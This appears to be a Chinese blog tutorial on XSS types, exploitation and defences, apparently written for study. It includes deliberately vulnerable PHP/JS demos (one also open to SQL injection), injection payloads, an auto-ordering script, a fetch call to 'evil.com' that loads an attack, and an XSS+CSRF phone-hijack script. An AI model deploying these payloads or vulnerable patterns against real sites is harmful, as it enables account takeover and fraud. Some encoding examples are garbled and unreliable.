xss都快忘得差不多,赶快再来read一下,这次好好吃细点

原理

什么是xss呢?

xss全名Cross-site scripting,简单来说就是前端页面存在可写入风险,黑客通过特殊的手段往网页中插入了恶意的 JavaScript 脚本,从而在用户浏览网页时,对用户浏览器发起 Cookie 资料窃取、会话劫持、钓鱼欺骗等各攻击 。

xss三种类型

反射型

反射型也称作非持久型、参数型跨站脚本。反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器。也就是说,黑客往往需要诱使用户 “点击” 一个恶意链接,才能攻击成功。

假设一个网页直接把用户参数输出到页面上

1
2
3
4
<?php
$input = $_GET['param'];
echo "<h1>".$input."</h1>";
?>

用户向 param 提交的数据会展示到 <h1> 的标签中展示出来,比如提交:hi xss

image-20251118153908828

如果传<script>alert("hehe")</script>

image-20251118154152452

用户输入的 Script 脚本,已经被写入页面中,因为后端代码并未对输入进行过滤审查,网页会将js代码拼接进网页代码,并且执行

存储型

存储型 XSS 和反射型 XSS 的差别仅在于:提交的 XSS 代码会存储在服务端(不管是数据库、内存还是文件系统等),下次请求目标页面时不用再提交 XSS 代码。最典型的例子是留言板 XSS。

这边数据库搭建和后端编写都参考一下国光的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "root"; //数据库用户名
$pwd = "root"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>

<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>

<?php
/*直接将留言插入到数据库中*/
$username=$_POST['username'];
$message=$_POST['message'];
if($username and $message)
{
$sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
if ($conn->query($sql) === TRUE) {
echo "留言成功"."<br>";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}
}else{
echo "请填写完整信息"."<br>";
}

/*查询数据库中的留言信息*/
$sql = "SELECT username, message FROM message";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
}
} else {
echo "暂无留言";
}
?>

image-20251118160632916

上面就是代码运行的结果,可以写入用户与姓名,且结果会展现在页面并存入数据库,无论任何用户何时访问当前网站都会出现留言板的信息,此时若有恶意攻击者写入js脚本在留言板中,就会导致后面所有访问的用户都执行该js脚本

我们试验一下,在留言处写入<script>alter(11)</script>

image-20251118161043719

image-20251118161027213

结果符合我们的设想,存储型 XSS 的攻击是最隐蔽的也是危害比较大的,普通用户所看的 URL 为 http://localhost/php/xss/save.php,从 URL 上看均是正常的,但是当目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有 XSS 代码,就当做正常的 HTML 与 JS 解析执行,于是就触发了 XSS 攻击。

dom型

通过修改页面的 DOM 节点形成的 XSS,称之为 DOM XSS。它和反射型 XSS、存储型 XSS 的差别在于,DOM XSS 的 XSS 代码并不需要服务器解析响应的直接参与,触发 XSS 靠的就是浏览器端的 DOM 解析,可以认为完全是客户端的事情。

【DOM 节点(DOM Node)是 文档对象模型(Document Object Model) 的基本组成单位,DOM 将 HTML/XML 文档视为一个由节点组成的树形结构,每个节点代表文档中的一部分(如标签、文本、属性等)】

代码依旧参考国光

1
2
3
4
5
6
7
8
9
10
11
12
<meta charset="UTF-8">

<script>
function xss(){
var str = document.getElementById("src").value;
document.getElementById("demo").innerHTML = "<img src='"+str+"' />";
}
</script>

<input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>

image-20251118163404078

同样,这里也没有对用户的输入进入过滤,当攻击者构造' onerror='alert(233)插入的时候:

image-20251118164348975

会直接在 img 标签中插入 onerror 事件,该语句表示当图片加载出错的时候,自动触发后面的 alert () 函数,来达到弹窗的效果,这就是一个最简单的 DOM 型 XSS 漏洞。

但更正式点的dom型应该 对 window.locationdocument.URLdocument.referrerdocument.cookie 等包含用户可控数据的对象进行操作

三种类型区别

对三种xss都有了解过后,我们来聊聊三种xss都有什么区别

dom型与反射型和存储型最大的区别就是:dom型由客户端独立完成,不经过服务端

恶意脚本不在服务器返回的 HTML 源码中,仅在客户端执行 JS 后动态插入 DOM,查看页面源码无法发现,需通过浏览器开发者工具(Elements 面板)查看动态生成的 DOM。

而反射型与存储型都需要服务端的参与,反射型是服务端将恶意数据反射回客户端,存储型也会将恶意数据反射回客户端, 但恶意脚本会被永久存储在服务器中,反射型的生命周期只有一次

xss利用

要学会防护,当然要先学会利用(文中出现的利用都是设想情况,无实际利用过,具体利用可以自己搭靶场测试)

xss有以下利用方式:

  1. 网络钓鱼
  2. 盗取用户 cookies 信息
  3. 劫持用户浏览器
  4. 强制弹出广告页面、刷流量
  5. 网页挂马
  6. 进行恶意操作,例如任意篡改页面信息
  7. 获取客户端隐私信息
  8. 控制受害者机器向其他网站发起攻击
  9. 结合其他漏洞,如 CSRF 漏洞,实施进一步作恶
  10. 提升用户权限,包括进一步渗透网站
  11. 传播跨站脚本蠕虫等
  • 劫持用户浏览器

    注入的恶意脚本和用户正常操作的脚本拥有完全相同的权限,能:

    • 操作页面 DOM(点击按钮、填充表单、触发事件)。

    • 发起网络请求(携带用户的 Cookie、会话凭证)。

    • 读取 / 修改页面数据(获取表单内容、修改提交参数)。

      因为操作在用户已登录的上下文执行,网站服务器会默认这些操作是用户本人发起的,完全不会拦截,风险比单纯窃取信息更直接.

    • 简单写个代码举例介绍一下

      一个购物网站存在存储型xss

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      <script>
      window.onload = function() {
      document.querySelector('[data-product-id="10086"] .add-cart-btn').click();
      setTimeout(() => {
      window.location.href = '/checkout';
      }, 1000);
      setTimeout(() => {
      document.querySelector('#receiver-name').value = '张三';
      document.querySelector('#receiver-phone').value = '138xxxx8888';
      document.querySelector('#receiver-address').value = 'XX市XX区XX路XX号';
      document.querySelector('.submit-order-btn').click();
      }, 2000);
      };
      </script>

      当用户(已登录电商账号,且账户有余额 / 绑定支付方式)浏览该商品评价时,脚本自动执行:

      • 无需用户操作,自动将高价海鲜加入购物车。
      • 跳转结算页后,填充攻击者的收货地址。
      • 直接提交订单,触发支付(若用户开通了 “免密支付”,则直接扣款)。

      网站服务器收到订单请求时,因携带用户的登录会话 Cookie,判定为用户本人操作,成功创建订单并完成支付。用户直到收到扣款通知,才发现被恶意下单。

  • 网页挂马

    XSS 是 “入口”,负责将恶意触发代码植入可信页面;真正的 “挂马” 依赖恶意资源(攻击脚本、漏洞利用程序、病毒文件)和用户环境漏洞(浏览器旧版本、插件漏洞、系统漏洞),两者结合完成从 “脚本执行” 到 “设备受控” 的升级。

    例子:

    攻击者发现某购物网站的 “商品问答区” 存在存储型 XSS 漏洞,注入代码

    1
    <div onclick="fetch('http://evil.com/load-attack')">点击查看商品隐藏优惠(仅限前100人)</div>
    • attack.js检测用户浏览器版本存在的漏洞,加载对应漏洞利用脚本。

    • 脚本下载恶意程序shopping-voucher.exe(伪装成 “优惠券领取工具”)。

    • 弹出弹窗:“领取优惠券需安装安全插件,点击运行即可使用”,用户点击 “运行” 后,恶意程序执行。

    • 恶意程序在用户设备上安装后门,回连攻击者 C2 服务器,用户电脑被完全控制,后续可能被窃取支付密码、银行信息等。

  • xss+csrf

    以 “篡改用户绑定手机号” 为例,完整攻击链路如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <script>
    // 1. XSS脚本读取页面中的CSRF Token(假设在隐藏表单中)
    const csrfToken = document.querySelector('input[name="csrf_token"]').value;
    // 2. 自动构造“修改手机号”的POST请求(CSRF攻击)
    fetch('/api/change-phone', {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: `csrf_token=${csrfToken}&new_phone=攻击者手机号`,
    credentials: 'include' // 携带用户登录Cookie
    });
    </script>
    1. 用户触发 XSS:其他用户(已登录)浏览含恶意评论的页面时,脚本自动执行。
    2. CSRF 请求生效:脚本携带用户的登录 Cookie 和合法 CSRF Token 发起请求,服务器验证通过(认为是用户本人操作),成功将手机号改为攻击者的号码。

xss防护

在介绍具体防护之前,先介绍一些基础知识

Httponly

HttpOnly是Cookie中一个属性,用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。但是,HttpOnly的应用仍存在局限性,一些浏览器可以阻止客户端脚本对Cookie的读操作,但允许写操作;此外大多数浏览器仍允许通过XMLHTTP对象读取HTTP响应中的Set-Cookie头。

  • 设置样例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
response.setHeader( "Set-Cookie" , "cookiename=httponlyTest;Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
例如:
//设置cookie
//Path=/:限制 Cookie 的作用路径。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")


//设置多个cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");


//设置https的cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
//Secure:限制 Cookie 仅在 HTTPS 加密连接中传输,HTTP 明文连接不会携带该 Cookie。

SOP(Same-origin policy)

同源策略是一种网络浏览器安全机制,旨在防止网站之间相互攻击。

同源策略限制一个源上的脚本访问另一个源上的数据。源由 URI 协议、域名和端口号组成。同源就意味着协议,域名,端口都必须相同,访问其下子目录则没问题

  • 同源政策存在多种例外情况:
    • 有些对象可以跨域写入,但不能跨域读取,例如来自 iframe 或新窗口的 location对象或属性。location.href
    • 有些对象是可读的,但不能跨域写入,例如对象length的属性window(存储页面上使用的帧数)和closed属性。
    • replace函数通常可以跨域调用对象location
    • 您可以跨域调用某些函数。例如,您可以在新窗口中调用 getMessage() close getMessage() 函数。该函数也可以在 iframe 和新窗口中调用,以便将消息从一个域发送到另一个域。 blur focus postMessage

CORS

跨源资源共享CORS,或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。

跨源资源共享标准新增了一组 HTTP 标头字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 GET 以外的 HTTP 请求,或者搭配某些 MIME 类型POST 请求),浏览器必须首先使用 OPTIONS 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(例如 CookieHTTP 认证相关数据)。

CSP(Content security policy)

CSP 是一种浏览器安全机制,旨在缓解 XSS 和其他一些攻击。它的工作原理是限制页面可以加载的资源(例如脚本和图像),并限制页面是否可以被其他页面嵌入。

要启用 CSP,响应需要包含一个名为 <CSP_DIR> 的 HTTP 响应头,Content-Security-Policy其值包含策略信息。策略本身由一个或多个指令组成,指令之间用分号分隔。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Content-Security-Policy:
default-src 'self';
//所有未单独指定的资源,都只能从当前同源加载
script-src 'self';
//只允许加载本站 JavaScript
style-src 'self';
//只允许本站 CSS 样式
img-src 'self';
object-src 'none';
frame-ancestors 'none';
//禁止页面被任何 iframe/frame 嵌套
base-uri 'self';
//控制 <base href="..."> 的来源
connect-src 'self';
//限制 AJAX / fetch / WebSocket 只能访问同源

了解了上面的基础知识就可以更好的了解我们下面要讲的防护了

跨站脚本攻击的防范通常可以通过两层防御来实现:

  • 对输出数据进行编码
  • 到达时验证输入

对输出进行编码

编码应该在将用户可控数据写入页面之前立即应用,因为写入的上下文决定了需要使用哪种编码。例如,JavaScript 字符串中的值需要与 HTML 上下文中的值不同的转义方式。

在 HTML 环境中,您应该将未列入白名单的值转换为 HTML 实体:

  • <转换为:<
  • >转换为:>

在 JavaScript 字符串上下文中,非字母数字值应该进行 Unicode 转义:

  • <转换为:\u003c
  • >转换为:\u003e

有时您需要按正确的顺序应用多层编码。例如,要安全地将用户输入嵌入到事件处理程序中,您需要同时处理 JavaScript 上下文和 HTML 上下文。因此,您需要先对输入进行 Unicode 转义,然后再进行 HTML 编码:

1
<a href="#" onclick="x='This string needs two layers of escaping'">test</a>

到达时验证

编码可能是抵御 XSS 攻击最重要的防线,但它不足以在所有情况下都完全防止 XSS 漏洞。您还应该在首次收到用户输入时就尽可能严格地验证其有效性。

输入验证示例包括:

  • 如果用户提交的 URL 将在响应中返回,请验证其是否以安全的协议(例如 HTTP 和 HTTPS)开头。否则,有人可能会使用有害协议(例如 HTTPS 或javascriptHTTPS)攻击您的网站data
  • 如果用户提供的值预期为数值,则验证该值是否实际包含整数。
  • 验证输入是否仅包含预期的字符集。

理想的输入验证方式应该是直接阻止无效输入。另一种尝试清除无效输入使其有效的方法更容易出错,应尽可能避免。

CSP防xss

内容安全策略 (CSP) 是抵御跨站脚本攻击的最后一道防线。如果您的 XSS 防护措施失效,您可以使用 CSP 通过限制攻击者的操作来缓解 XSS 攻击。

CSP 允许您控制各种事项,例如是否允许加载外部脚本以及是否执行内联脚本。要部署 CSP,您需要在 HTTP 响应头中添加一个名为 <header_name> 的参数,Content-Security-Policy其值包含您的策略。

以下是一个CSP示例:

1
default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'none';

此策略规定,图片和脚本等资源只能从与主页相同的源加载。因此,即使攻击者成功注入了 XSS 有效载荷,他们也只能从当前源加载资源。这大大降低了攻击者利用 XSS 漏洞的可能性。

如果您需要加载外部资源,请确保仅允许不会帮助攻击者利用您网站的脚本。例如,如果您将某些域名列入白名单,攻击者就可以加载来自这些域名的任何脚本。尽可能将资源托管在您自己的域名上。

php中防xss

PHP 中有一个名为 encode 的内置函数用于对实体进行编码htmlentities。在 HTML 上下文中,您应该调用此函数来转义输入。该函数应使用三个参数调用:

  • 您输入的字符串。
  • ENT_QUOTES这是一个标志,用于指定所有引号都应该进行编码。
  • 字符集在大多数情况下应为 UTF-8。

例如:

1
<?php echo htmlentities($input, ENT_QUOTES, 'UTF-8');?>